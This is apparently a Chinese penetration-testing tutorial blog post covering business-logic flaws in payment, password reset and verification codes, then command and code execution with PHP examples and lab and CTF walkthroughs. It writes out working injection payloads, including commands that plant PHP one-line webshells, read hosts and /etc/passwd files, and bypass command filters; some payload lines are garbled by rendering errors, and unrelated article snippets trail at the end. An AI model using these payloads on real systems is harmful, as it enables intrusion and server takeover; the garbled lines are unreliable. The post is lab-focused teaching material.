渗透测试之逻辑漏洞
文章目录
- 一、支付漏洞
- 1.修改附属值
- 2.多重替换支付
- 3.重复支付
- 4.最小额支付
- 5.最大值支付
- 6.越权支付
- 7.无限制试用
- 8.多线程并发
- 9.支付漏洞思路
- 二、密码找回漏洞
- 1.本地验证绕过
- 2.利用session重新绑定客户
- 3.去掉验证参数绕过
- 4.总结
- 三、短信验证码绕过
- 1.短信验证码生命期限内可暴力枚举
- 2.短信验证码在数据包中返回
- 3.修改请求数据包参数或 Cookie 值绕过
- 4.修改返回包绕过
- 5.攻破短信验证码接口
- 7.几种爆破绕过
- a.超长字符串
- b.特殊符号
- c.整数溢出。
- 四、验证安全
- 1.图形验证码绕过
- a.图形验证码不刷新或无效
- b.图形验证码值可直接获取
- c.图形验证码参数绕过
- i:验证码空值绕过
- ii:直接删除验证码参数,改成 user=admin&pass=1234
- 2.存在无验证码页面
- 3.万能验证码
- 4.验证码数量有限
- 5.简单验证码识别
- 6.验证码复用
- 五、命令执行
- 1.RCE定义
- 2.常见的命令执行函数
- 1) exec
- 2)system
- 3)passthru
- 4)shell_exec
- 5)反引号 `
- 6)popen
- 3.管道符号
- 4.常用的命令
- 5.命令执行危害-getshell
- 1)直接获取webshell
- 2)显示当前路径
- 3)读文件
- 4)写文件
- 6.pikachu靶场任务
- 1)查看当前用户
- 2)查看当前路径
- 3)查看C盘下的文件
- 4)写入一句话木马、用菜刀或者蚁剑连接成功
- 7.CTF靶场任务
- 1)eval执行
- 2)命令执行
- 3)文件包含
- 4)php://input
- 5)远程包含
- 6)burp system+cat读取源代码
- 7)过滤cat
- 8)单引号绕过
- 9)双引号绕过
- 10)特殊符号绕过
- 11)绕过空格
- 12)过滤目录分隔符
- 13)过滤|逻辑符号
- 14)综合练习
- 六、代码执行
- 1.定义
- 2.相关函数
- 1)eval
- 2)assert
- 3)callback函数
- 3.pikachu靶场任务
- 4.代码执行-漏洞防御
一、支付漏洞
那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验
存在可修改订单状态的接口,比如确认收货接口,确认收货以后订单状态会变成“已完成”。
有如下接口/setorderstatus?orderid=1093&orderstatus=3
1.修改附属值
修改优惠劵金额
修改积分
修改运费金额
修改服务费金额
2.多重替换支付
首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单二的商品。
3.重复支付
比如订单支付会返现,或者返积分。重复调用支付成功回调的接口,可实现多次返现,或多次返积分。
4.最小额支付
这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功。
5.最大值支付
利用整数溢出,将购买量改成99999999999999999999999999999999,这样支付金额可能会变成0。或者修改附属值,如优惠卷,积分等为999999999, 如果这里逻辑设计有问题,那么其支付金额会变为0。
6.越权支付
可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品
7.无限制试用
在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经 使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用 购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商 品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功, 又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了
8.多线程并发
并发请求:用户A在一个网站上提款,同步发送了多个提款请求,后台显示多条提款请求,审核了然后顺利的提到了几倍的bounty
处理速度的问题,数据库的处理速度跟不上用户的请求速度,就有可能存在这样的漏洞。
9.支付漏洞思路
二、密码找回漏洞
1.本地验证绕过
客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,
最终导致欺骗客户端,误以为我们已经输入了正确的验证码。
例如将返回包中的0修改为1即可绕过验证。
2.利用session重新绑定客户
重置密码最后一步是通过session获取用户名,然后再重置。
而用户名是在重置密码第一步时与session进行绑定,那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程,
那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html
3.去掉验证参数绕过
邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,
通过抓取数据包可通过修改报文,将找回问题答案参数删除后,直接进行对密码更改。
参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html
4.总结
1、测试业务的时候,了解清楚业务的整体流程,可以利用思维导图快速清理各个业务之间的关系
2、重点关注的业务:个人(他人)信息、密码修改(找回)、支付流程、注册流程、需要手机、邮箱验证的业务。
3、对每个业务模块进行抓包,分析其中各种请求,注意特殊参数
,很有可能就是这些特殊参数决定了业务步骤。 4、抓包重放的过程需要多次实验,判断是否可以跳过(绕过),如何跳过(绕过),纯数字可以用
数字+字母`尝试绕过
5、返回包中数据的分析~关注特殊字符串和特殊参数,还有JS文件('JS中可能会存在信息泄漏)。
6、综上所述,业务流程需同时结合’HTTP/HTTPS"请求分析,重点可以关注那些具有代表性的参数,绕过必要验证,跳过业务步骤。
三、短信验证码绕过
1.短信验证码生命期限内可暴力枚举
只限于数字验证码
2.短信验证码在数据包中返回
可以直接在response中获取到短信验证码
3.修改请求数据包参数或 Cookie 值绕过
比如有 post 数据包:mobile=18888888888&userid=00001, Cookie中有:codetype=1
在特定步骤,修改 mobile=自己的手机号,自己手机就可以收到别人的验证码,后面再用
别人的手机号和接收到的验证码登录;
修改 Cookie 中可疑的参数和值,进行绕过,比如上面修改 codetype=0;
4.修改返回包绕过
举个简单的例子:提交错误的短信验证码,返回包中有: status=false,用 Burpsuite 的 “Do
intercept” 功能修改为 status=true,即可绕过前端判断,成功进入系统。具体还要结合实际的场景,灵活操作。
5.攻破短信验证码接口
a:有些网站会遗留短信验证码测试页面,比如/smstest.html等,如果能找到并且还可以正常使用。
b:一般系统的短信验证码功能,都会有个接口平台可以获取到手机接收到的所有短信,找到并攻 破也能进入系统。
6.默认万能验证码
之前遇到过短信验证码输入9999,就可以登录任意用户账号的漏洞。为了方便测试以及维护,有的系统会留有万能验证码,上线后还保留着。可能是固定的写在配置文件、js文件或代码中,也可能是随时间变化的。
找回密码
前端加密,可破解,或者根本就不是加密。
比如如下案例,找回密码,得到一个token:
/resetpwd?token=eyJ1c2VybmFtZSI6InpoYW5nZiJ9
Token实际上就是将username编码了一下,修改username即可修改其他用户的密码
7.几种爆破绕过
a.超长字符串
输入超长字符串可能会导致系统拒绝服务或绕过某些限制。
b.特殊符号
曾经遇到过一个案例,密码框输入><就可以登录任意用户账号。
c.整数溢出。
利用整数溢出,精度丢失等,可能导致支付漏洞。
四、验证安全
1.图形验证码绕过
a.图形验证码不刷新或无效
手工尝试一次登录后,在某一时间段内无论登录失败多少次,只要不刷新页面 Session 不过期,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。
b.图形验证码值可直接获取
验证码通常会被隐藏在网站的源码中或者在请求的 Cookie 中,或在 response 数据包中返回
c.图形验证码参数绕过
登录请求包数据: user=admin&pass=1234&vcode=brln
可尝试如下两种绕过方法:
i:验证码空值绕过
改成user=admin&pass=1234&vcode=
ii:直接删除验证码参数,改成 user=admin&pass=1234
登录请求包数据: user=admin&pass=1234&needcode=1&vcode=brln 可尝试将needcode参数的值改成0
2.存在无验证码页面
3.万能验证码
渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如0000、9999,
只要输入万能验证码,就可以无视验证码进行暴力破解。
4.验证码数量有限
多见于计算类型的验证码,如 1+2=?,这种类型的验证码严格意义上来说不能叫做验证码,多刷新几次验证码,我们可能会发现系统中的算数题目只有那么几道,这种情况下只要将验证码全部下载下来,生成一个 md5 库,然后将前端生成的验证码与本地文件进行对比即可。
5.简单验证码识别
在平常的漏洞挖掘过程中,如果我们发现登录的验证码非常简单且易于识别,那我们就可以尝试
使用自动化工具来进行登录破解了,如 PKAV 的 HTTP Fuzzer、bp插件等。
https://blog.csdn.net/weixin_40412037/
article/details/105561166
6.验证码复用
当你打开常见的一些需要登录之类的系统,通常系统会自动请求一次验证码,抓包,抓住别放,保持Session不变。
五、命令执行
1.RCE定义
RCE:远程命令执行或者代码执行,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE
2.常见的命令执行函数
PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
1) exec
返回值:命令执行结果的最后一行内容,失败时返回 false
https://www.php.net/manual/zh/function.exec.php
<?php
highlight_file(__FILE__);
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
exec('chcp 65001&ipconfig', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>
2)system
该函数会把执行结果输出,并把输出结果的作为字符串返回。
如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存如果执行失败则返回false
<?php
highlight_file(__FILE__);
system('chcp 65001&ipconfig');
?>
//highlight_file() 函数以字符串形式返回 突出显示的代码,成功返回true,否则返回false。
3)passthru
执行外部程序并且显示原始输出
执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数
<?php
highlight_file(__FILE__);
passthru('whoami');
?>
4)shell_exec
通过 shell 执行命令并将完整的输出以字符串的方式返回
<?php
highlight_file(__FILE__);
var_dump(shell_exec('ipconfig'));
?>
5)反引号 `
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
<?php
highlight_file(__FILE__);
$a = 'whoami';
echo `$a`;
?>
6)popen
popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了
<?php popen('whoami >>D:/2.txt','r'); ?>
3.管道符号
|前面可真可假
||——1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。
&或&&前面必须为真才会执行后面的
4.常用的命令
Windows
dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息
Linux
cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息
5.命令执行危害-getshell
1)直接获取webshell
例如可以写入一句话木马:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshell.php
2)显示当前路径
例如可以提交参数 ?cmd=cd 来查看当前路径。
3)读文件
例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。
4)写文件
例如可以提交参数 ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php
6.pikachu靶场任务
1)查看当前用户
127.0.0.1&whoami
2)查看当前路径
127.0.0.1&cd
3)查看C盘下的文件
127.0.0.1&type c:\1.txt
127.0.0.1& type c:\windows\system32\drivers\etc\hosts
4)写入一句话木马、用菜刀或者蚁剑连接成功
127.0.0.1&echo ^<?php eval(KaTeX parse error: Expected 'EOF', got '&' at position 36: …?^> > 127.0.0.1&̲echo ^<?php eva…_REQUEST[‘admin’]); ?^> > C:\phpstudy_pro\WWW\pikachu\webshell.php
7.CTF靶场任务
https://www.ctfhub.com/#/skilltree
1)eval执行
eval执行,可以先判断下是Windows操作系统还是linux
ipconfig和ifconfig
2)命令执行
/?cmd=system(‘ifconfig’);
ls查看目录中的文件
/?cmd=system(‘ls’);
列出根目录()下的所有目录:
/?cmd=system(‘ls /’);
发现可疑文件 flag_8213 直接使用cat命令查看
/?cmd=system(‘cat /flag_8213’);得到flag
3)文件包含
4)php://input
5)远程包含
6)burp system+cat读取源代码
7)过滤cat
8)单引号绕过
127.0.0.1;c’'at flag_21869419023310.php|base64
9)双引号绕过
127.0.0.1;c""at flag_21869419023310.php|base64
10)特殊符号绕过
127.0.0.1;ca$@t flag_21869419023310.php|base64
1;2|3
此处;表示执行完1再执行2的意思,1可以随意,|表示执行完2再执行3,3只对2的结果执行,2必须执行成功才能执行3
11)绕过空格
1;cat<flag_28844345117053.php|base64
1;cat$IFS 9 f l a g 2 8844345117053. p h p ∣ b a s e 641 ; c a t 9flag_28844345117053.php|base64 1;cat 9flag28844345117053.php∣base641;cat{IFS}flag_28844345117053.php|base64
12)过滤目录分隔符
1;ls flag_is_here
1;cd flag_is_here;cat flag_8154254575089.php|base64
13)过滤|逻辑符号
14)综合练习
%0a替代;
在Windows和Linux中都支持用 “” 号模糊查询
1%0acd I F S f ∗ a g i s h e r e {IFS}f*ag_is_here%0als%0aca''t IFSf∗agishere{IFS}fag_7220223731263.php
六、代码执行
1.定义
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行
2.相关函数
PHP:eval、assert
Javascript:eval
Vbscript: Execute、Eval
Python:exec
1)eval
将字符串当做函数进行执行,需要传入一个完整的语句必须以分号 ; 结尾,最常用的函数
<?php eval('echo "hello";'); ?>2)assert
判断是否为字符串是则当成代码执行,在php7.0.29之后的版本不支持动态调用
低版本
<?php assert($_POST['a']); ?>7.0.29之后
<?php $a = 'assert'; $a(phpinfo()); ?>3)callback函数
preg_replace + /e模式
3.pikachu靶场任务
fputs(fopen(‘shell.php’,‘w’),‘<?php eval($_POST[fname]);?>’);
fputs(fopen(‘shell1.php’,‘w’),‘<?php $code=$_GET[x];echo system($code);?>’);
fputs(fopen(‘shell2.php’,‘w’),‘<?php $code=$_GET[x];eval($code);?>’);
4.代码执行-漏洞防御
代码执行的防御分为三个方面 参数 , 函数 和 权限
禁用或减少使用执行代码的函数
对于必须使用eval的地方,一定严格处理用户数据
使用addslashess()函数将参数转译,或使用黑白名单校验
限制Web用户的权限
升级插件、框架新版本
相关文章:
渗透测试之逻辑漏洞
文章目录 一、支付漏洞1.修改附属值2.多重替换支付3.重复支付4.最小额支付5.最大值支付6.越权支付7.无限制试用8.多线程并发9.支付漏洞思路 二、密码找回漏洞1.本地验证绕过2.利用session重新绑定客户3.去掉验证参数绕过4.总结 三、短信验证码绕过1.短信验证码生命期限内可暴力…...
HTML class 中 CSS名称的顺序并不重要
的确是这样!我可以证明。让我们先来看一些CSS代码: .a {color: red; }.b {color: blue; }现在让我们看一些标记: <div class"a b">Here’s some text</div>文本会是蓝色的,因为.b 在CSS中是最后定义的,对吧ÿ…...
设计模式8:代理模式-静态代理
我尝试在JDK、Android SDK和一些出名的库中,寻找静态代理的源码,没能找到。如果有读者发现,欢迎评论或者私信我。 本文目录 静态代理的实例1. 售票代理2. 明星代理 静态代理的实例 1. 售票代理 售票服务 public interface TicketService {…...
运动耳机哪款好用、适合运动的耳机推荐
如今,蓝牙耳机不仅是手机的最佳伴侣,也成为了运动爱好者的必备装备。但是,在如此众多的蓝牙耳机中,你是否对选购感到困惑呢?实际上,选择适合运动的蓝牙耳机需要考虑许多因素,如舒适度、稳固性、…...
页面滑动到可视区域加载更多内容思维流程
页面滑动到可视区域加载更多内容思维流程...
Java Word转PDF(直接转和以图片形式转)、PDF转图片、图片转PDF
在淘宝上找了一家写代码的店铺写了一个工具类,再参考网上的代码,改了改 用到的类库: <!-- https://mvnrepository.com/artifact/org.apache.pdfbox/fontbox --><!--word转pdf--><dependency><groupId>com.documents4…...
dockerfile编写LNMP
目录 1. 项目环境 2. 服务器环境 二、部署nginx(容器IP为192.168.158.26) 1、整个Dockerfile文件内容 编辑 2、配置nginx.conf文件 3、构建镜像 三、部署mysql 1、整个Docker文件内容 3、生成镜像 4、启动镜像容器 5、验证mysql 四、PHP部署 1…...
websocket + stomp + sockjs学习
文章目录 学习链接后台代码引入依赖application.ymlWebSocketConfigPrivateControllerWebSocketService WebSocketEventListenerCorsFilter 前端代码Room.vue 学习链接 WebSocket入门教程示例代码,代码地址已fork至本地gitee,原github代码地址ÿ…...
ApplicationListener , @EventListener 和 CommandLineRunner 启动顺序验证
一. 背景 排查线上问题, 发现一个重要功能的全局锁线程启动延迟很高. 服务启动40分钟之后, 才能拿到锁. 排查之后发现原因是因为代码引入了高优先级的ApplicationListener代码, 导致全局锁线程启动延迟. 二. 结论 启动顺序从高到底依次为: ApplicationListener , EventListe…...
网络编程基础(1)
目录 网络编程解决是跨主机的进程间通讯 1、网络 2、互联网 3、ip地址 (1)ipv4: (2)ipV6:1 (3)IP地址的组成: (4)Linux查看IP地址:ifconfig 4、mac地址 5、ping Ip地址 6…...
Linux驱动开发(Day4)
思维导图: 字符设备驱动分步注册:...
LVS负载均衡群集部署(LVS-NAT模型实例)
一、集群 1.1集群的含义 Cluster,集群、群集,为解决某个特定问题将多台计算机组合起来形成的单个系统。 由多台主机构成,但对外只表现为一个整体。 1.2群集的三种类型 1.2.1负载均衡群集 LB: Load Balancing,负载均衡&#x…...
【仿写tomcat】五、响应静态资源(访问html页面)、路由支持以及多线程改进
访问html页面 如果我们想访问html页面其实就是将本地的html文件以流的方式响应给前端即可,下面我们对HttpResponseServlet这个类做一些改造 package com.tomcatServer.domain;import com.tomcatServer.utils.ScanUtil;import java.io.IOException; import java.io…...
stm32单片机/51单片机蜂鸣器不响(proteus模拟)
蜂鸣器不发生原因就1个:电压不够 所以需要提高蜂鸣器2端的电压:可以采用的方法有: 1提高蜂鸣器电阻,这样根据分压原理,可以提升蜂鸣器2段电压 2更改蜂鸣器的工作电压为更小的值,这个可以通过在proteus内…...
BERT、ERNIE、Grover、XLNet、GPT、MASS、UniLM、ELECTRA、RoBERTa、T5、C4
BERT、ERNIE、Grover、XLNet、GPT、MASS、UniLM、ELECTRA、RoBERTa、T5、C4 ELMOBERTERNIE![在这里插入图片描述](https://img-blog.csdnimg.cn/274e31d0f8274c748d05abe2ec65fc73.png)GroverXLNetGPTMASSUniLMELECTRARoBERTaT5C4ELMO BERT...
主机防护的重要性和方式
01 主机防护的重要性 主机防护是网络安全的重要组成部分。在互联网时代,网络攻击成为了一种常见的威胁,而主机防护则是保护计算机系统免受网络攻击的重要手段。 主机防护可以防范各种网络攻击,如病毒、木马、黑客攻击等,从而保…...
聚观早报 | 抢先体验阿维塔11座舱;本田和讴歌采用NACS充电标准
【聚观365】8月21日消息 抢先体验阿维塔11鸿蒙座舱 本田和讴歌采用特斯拉NACS充电标准 华为秋季新品发布会将于9月12日举行 iQOO Z8即将到来 三星Galaxy S24系列外观或更改 抢先体验阿维塔11鸿蒙座舱 当前,智能座舱成了各大巨头跑马圈地的重要领域。根据毕马威…...
思科计算机网络答案(包含第1~11章节)
第一章 1.在以下哪个场景中推荐使用 WISP? 选择一项: A.城市里的网吧 B.没有有线宽带接入的农村地区的农场 C.任何有多个无线设备的家庭 D.通过有线连接访问 Internet 的大厦公寓 2.一位员工希望以尽可能最安全的方式远程访问公司网络。 下列哪种网络特征将允许员工获得对…...
所见即所得,「Paraverse平行云」助力万间打造智能建造新图景
在城市建设行业中,数字化逐渐成为其主导力量。 新一代信息基础设施建设也迎来了新的里程碑。数据显示,截至今年,我国已全面推进城市信息模型(CIM)基础平台建设,为城市规划、建设管理提供了多场景应用的强大…...
AI图片处理功能演示
例如,这是一张不错的图片,但是有3只手。 我们可以选择有问题的区域,然后要求 niji 进行重新绘制。 根据我们选择的区域,我们可以以不同的方式修复结果。 创意修复 修复并不仅限于纠正错误。我们可以要求 niji 添加额外的元素&…...
CentOS系统环境搭建(六)——使用docker-compose安装redis
centos系统环境搭建专栏🔗点击跳转 关于Docker-compose安装请看CentOS系统环境搭建(三)——Centos7安装Docker&Docker Compose,该文章同样收录于centos系统环境搭建专栏。 Docker-compose安装redis 文章目录 Docker-compose安…...
个人论坛项目测试报告
目录 0.项目概述及部分测试用例展示 以下是部分测试用例: 进行一般的性能测试性能测试 1.摘要及版本修订记录 2.功能介绍 3.测试范围 3.1.功能性 3.2.可靠性 3.3.易用性 4.测试资源 4.1.人员介绍 4.2.测试环境 4.2.测试工具 5.测试策略 5.2.功能测试…...
一起来学shiny把(4)—调控控件进行输出
什么是shiny?Shiny是一个R包,可让您轻松地直接从 R 构建交互式 Web 应用程序(应用程序)。本系列是个长教程,带你由浅入深学习shiny。 上一节我们在文章《R语言系列教程—–一起来学shiny吧(3)》…...
VBIC卡管理系统设计与实现
摘要 IC卡管理系统是典型的信息管理系统(MIS),其开发主要包括后台数据库的建立和维护以及前端应用程序的开发两个方面。对于前者要求建立起数据一致性和完整性强、数据安全性好的库。而对于后者则要求应用程序功能完备,易使用等特点。 经过分析,我们使用 MICROSOFT公司的 …...
八种架构演进
日升时奋斗,日落时自省 目录 1、单机架构 2、应用数据分离架构 3、应用服务集群架构 4、读写分离/主从分离架构 5、冷热分离架构 6、垂直分库架构 7、微服务架构 8、容器编排架构 9、小结 1、单机架构 特征:应用服务和数据库服务器公用一台服务…...
商城-学习整理-高级-分布式事务(十九)
目录 一、本地事务1、事务的基本性质2、事务的隔离级别3、事务的传播行为4、SpringBoot 事务关键点 二、分布式事务1、为什么有分布式事务2、CAP 定理与 BASE 理论1、CAP 定理2、面临的问题3、BASE 理论4、强一致性、弱一致性、最终一致性 3、分布式事务几种方案1)、…...
Java学习笔记(三):面向对象
文章目录 1.类与对象1.1 定义构造器1.2 定义成员变量1.3 定义方法1.4 static关键字 2. 面向对象的三大特征:封装、继承和多态2.1 封装2.2 继承2.2.1 子类重写父类的方法 2.3 多态 1.类与对象 类(class)和对象(object, 也被称为实例 instance…...
电商项目part02 电商后台多数据源
电商后台项目需要访问的数据源 多数据源方法(读写分离) 方法1:jdk自带的dynamicdatasource 方法2:Mybatis 方式 方法3:dynamicdatasource框架 <!--Druid连接池--><dependency><groupId>com.aliba…...
【C# 基础精讲】LINQ 基础
LINQ(Language Integrated Query)是一项强大的C#语言特性,它使数据查询和操作变得更加简洁、灵活和可读性强。通过使用LINQ,您可以使用类似SQL的语法来查询各种数据源,如集合、数组、数据库等。本文将介绍LINQ的基础概…...
ChatGPT成为工作工具,具体都应用在哪些地方?
Verified Market Research估计,到2030年,人工智能写作辅助软件市场将达到约65亿美元,复合年增长率为27%。生成式人工智能的浪潮正在席卷世界各地的营销部门。 Botco对美国1000名工作人员进行的调查发现,73%的人表示他们会利用生成…...
网站地图怎么做/网页模板下载
最近在用virtual box做实验,在设置中提示“需要禁用硬件虚拟化才能启动虚拟机”,确认按钮灰色,并且无法启动虚拟机。 于是重启,进到bios系统。 网上说按F2或者根据电脑上的提示再开机的时候一直按就能进入,我没进去。…...
电子商务网站管理系统完美版/网站外链平台
1、获取体素在全局坐标系下的坐标(x,y,z),根据ICP配准得到的变换矩阵,将体素的坐标从全局坐标系转换到相机坐标系; 2、根据相机的内参矩阵,转换到图像坐标系,得到体素所在的图像坐标(u,v&#x…...
在线做雅思真题网站/成品视频直播软件推荐哪个好一点
“互联网精神”即:开放、平等、协作、分享。“天下大势,浩浩荡荡;顺之者昌,逆之者亡”开放精神 互联网的特质决定着它既没有时间界限也没有地域界限。通过互联网,它无时无刻、无处不在,不停的帮你的信息进行…...
帮他人做视频网站违法吗/网站外链的优化方法
服务器环境 Liunx AS4 PHP5 Mysql5 Apache 2实用TOP 命令查询系统性能的时候发现CPU经常到达100%开始以为是DDOS攻击……加装了防火墙(没起作用)又开始从liunx系统查找是不是系统问题,(也没起作用)偶尔从网络上发现一篇文章,有人也类似遇到了这样的问题&…...
淄博网站制作设计定制/企业推广公司
JavaFX教程 - JavaFX按钮当用户单击按钮时,JavaFX Button类可以触发事件。Button类扩展标记的类,它可以显示文本,图像,或两者兼而有之。以下代码显示了如何向Button添加单击操作侦听器。import javafx.application.Application;im…...